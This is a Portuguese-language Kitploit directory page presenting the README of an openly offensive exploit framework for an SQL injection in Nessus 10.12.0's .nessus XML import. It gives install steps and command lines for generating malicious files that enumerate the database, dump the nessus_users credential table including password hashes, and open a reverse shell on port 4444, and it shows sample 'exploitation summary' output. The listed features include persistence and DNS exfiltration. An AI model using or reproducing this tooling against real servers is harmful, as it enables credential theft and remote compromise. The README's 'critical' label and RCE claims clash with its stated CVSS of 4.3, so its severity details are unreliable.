Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC — PoC para CVE-2026-57588 - Injeção SQL na importação XML do Nessus 10.12.0. Gera arquivos .nessus maliciosos para enumerar bancos de dados, exfiltrar credenciais e testar injeção cega baseada em tempo. Para pesquisa de segurança autorizada. Autor: Sudeepa Wanigarathna. Corrigido na versão 10.12.1. | Kitploit
Ferramentas/GitHubGitHub/cerberusmrxi/cve-2026-57588-nessus-xml-import-sql-injection-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebExfiltração de DadosPós-ExploraçãoTestes de PenetraçãoComando e ControleRed Teaming
Segurança de Banco de Dados
GitHubcerberusmrxi/cve-2026-57588-nessus-xml-import-sql-injection-poc

CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

Ver Repositório
123há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

PoC para CVE-2026-57588 - Injeção SQL na importação XML do Nessus 10.12.0. Gera arquivos .nessus maliciosos para enumerar bancos de dados, exfiltrar credenciais e testar injeção cega baseada em tempo. Para pesquisa de segurança autorizada. Autor: Sudeepa Wanigarathna. Corrigido na versão 10.12.1.

Compartilhar

🛡️ CVE-2026-57588 - Framework de Exploração de Injeção SQL no Nessus

Security Research CVE Version Python License


📋 Índice

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Recursos
  • Instalação
  • Início Rápido
  • Exemplos de Uso
  • Tipos de Payload
  • Cenários Avançados
  • Relatórios
  • Solução de Problemas
  • Considerações de Segurança
  • Licença

🔍 Visão Geral

CVE-2026-57588 é uma vulnerabilidade crítica de injeção SQL descoberta no Tenable Nessus versões 10.12.0 e anteriores. A vulnerabilidade reside no mecanismo de análise de XML ao importar arquivos de resultados de varredura .nessus, permitindo que usuários autenticados com privilégios de importação executem consultas SQL arbitrárias no banco de dados PostgreSQL de backend.


⚠️ Detalhes da Vulnerabilidade

PropriedadeValor
ID do CVECVE-2026-57588
Tipo de VulnerabilidadeInjeção SQL
Produtos AfetadosTenable Nessus 10.12.0 e anteriores
Versão CorrigidaNessus 10.12.1 e posteriores
Pontuação CVSS4.3 (Média)
Vetor de AtaqueRede
Complexidade do AtaqueBaixa
Privilégios NecessáriosAutenticado (permissões de importação)
Interação do UsuárioNecessária (engenharia social)
ImpactoExfiltração de dados, RCE

🔬 Detalhes Técnicos

A vulnerabilidade existe devido à sanitização insuficiente dos valores das tags XML antes de serem incorporados em consultas SQL durante o processo de importação. Um agente malicioso pode criar um arquivo .nessus contendo payloads de injeção SQL especialmente elaborados em tags XML, tais como:

  • hostname
  • fqdn
  • os
  • system-type
  • mac-address
  • netbios-name

Quando um usuário privilegiado importa o arquivo malicioso, os valores não sanitizados são executados no backend PostgreSQL, permitindo:

  • Enumeração do banco de dados
  • Exfiltração de dados
  • Execução de comandos
  • Acesso ao sistema de arquivos
  • Instalação de persistência

✨ Recursos

Clique para expandir a lista de recursos

🎯 Gerenciamento de Payloads

  • 13+ tipos de payload categorizados por finalidade
  • Geração de payload baseada em modelos
  • Criação e validação de payloads personalizados
  • Validação de parâmetros e verificação de sintaxe
  • Verificação de sintaxe SQL

🚀 Capacidades de Exploração

  • Exploração multi-estágio com execução paralela
  • Identificação (fingerprinting) e enumeração do banco de dados
  • Exfiltração de dados com seleção personalizada de tabela/coluna
  • Execução de comandos no sistema alvo
  • Acesso e leitura do sistema de arquivos
  • Reverse shell com sessão interativa
  • Mecanismos de instalação de persistência
  • Injeção SQL cega baseada em tempo
  • Injeção SQL cega baseada em booleano
  • Injeção SQL baseada em erros
  • Consultas empilhadas para exploração avançada
  • Exfiltração fora de banda (out-of-band) via DNS

📊 Relatórios e Logs

  • Relatórios HTML com estilo profissional
  • Relatórios Markdown para documentação
  • Relatórios JSON para automação
  • Relatórios de texto para revisão rápida
  • Rotação de logs com múltiplos níveis
  • Estatísticas detalhadas de execução
  • Hash de arquivos para verificação de integridade

🛠️ Recursos Avançados

  • Execução paralela com tarefas configuráveis
  • Suporte a proxy para operações furtivas
  • Gerenciamento de certificados SSL/TLS
  • Validação de XML e verificação de esquema
  • Modo interativo para exploração ao vivo
  • Mecanismo de repetição (retry) para confiabilidade
  • Configuração de timeout para conexões lentas

📦 Ferramentas Profissionais

  • Estrutura de CLI baseada em subcomandos
  • Modos verboso e silencioso
  • Saída de terminal colorida
  • Indicadores de progresso para tarefas longas
  • Suporte a Docker para testes em contêineres
  • Compatibilidade multiplataforma (Linux, Windows, macOS)

📦 Instalação

🐍 Pré-requisitos

  • Python 3.7 ou superior
  • pip (gerenciador de pacotes do Python)
  • Git (opcional, para clonagem)

🔧 Instalação Rápida

# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

🐳 Instalação via Docker

# Build the Docker image
docker build -t nessus-exploit .

# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum

📦 Instalação como Pacote

# Install as a package
pip install -e .

# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum

🚀 Início Rápido

Uso Básico

# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum

# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus

# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

Ajuda de Comandos

# Show general help
python3 exploit.py --help

# Show generate command help
python3 exploit.py generate --help

# List all available payloads
python3 exploit.py list

💡 Exemplos de Uso

1. Enumeração Básica

python3 exploit.py generate -u https://test.com -p enum
Saída Esperada
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s

============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================

2. Exploração Multi-Estágio Avançada

python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v

3. Exfiltração de Dados

# Extract user credentials
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# Extract with custom columns
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status

4. Reverse Shell

# Start listener and generate exploit
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus
Baixar ferramenta